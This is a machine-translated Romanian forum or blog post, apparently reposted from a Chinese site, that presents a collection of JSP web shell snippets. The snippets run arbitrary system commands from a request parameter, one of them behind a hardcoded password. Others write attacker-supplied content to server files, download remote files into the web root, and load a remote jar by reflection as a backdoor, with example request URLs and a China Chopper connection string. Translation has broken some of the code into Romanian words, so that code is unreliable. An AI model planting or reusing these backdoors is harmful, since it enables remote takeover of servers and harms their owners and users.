|
|
Postat pe 02.01.2015 18:46:57
|
|
|
|

Transferat din: http://p2j.cn/?p=1627 1. Executarea comenzilor de sistem: Executați comenzi de sistem fără ecou: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Cerere: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Nu va exista ecou după execuție, ceea ce este foarte convenabil pentru shell-urile de ricorit. Există ecouri legate de verificarea parolei: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter"i").getInputStream(); int a = -1; octet[] b = octet nou[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Cerere: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Codifică șirul și scrie-l în fișierul specificat: 1: <%new java.io.FileOutputStream(request.getParameter("f").write(request.getParameter("c").getBytes());%> Cerere: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Scrie în directorul web: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f").write(request.getParameter("c").getBytes();%> Cerere: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Cerere: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Scrie în directorul web: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Cerere: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Descarcă fișierul de la distanță (dacă nu folosești utilitățile Apache IO, nu poți converti fluxul de intrare în octet, deci este foarte lung...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); octet[] b = octet nou[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; în timp ce ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Cerere: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Descarcă pe calea web: <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); octet[] b = octet nou[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; în timp ce ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Cerere: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Patru: Reflecția cheamă borcanul exterior, perfecționează ușa din spate Dacă nu-ți place funcția backdoor de mai sus care este prea slabă și învechită, poți încerca asta: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Cerere: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Conexiunea cuțitului de bucătărie: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, parola 023.
Soluție: Folosiți reflexia pentru a încărca un jar extern în aplicația curentă, iar reflexia execută rezultatul procesării de ieșire. request.getParameterMap() conține toți parametrii solicitați. Deoarece pachetul extern jar este încărcat, serverul trebuie să poată accesa această adresă jar. |
Precedent:Criza din spatele fișierului text TXTUrmător:Criptare Java MD5, criptare și decriptare Base64 Java execută codul sursă al comenzilor sistemului
|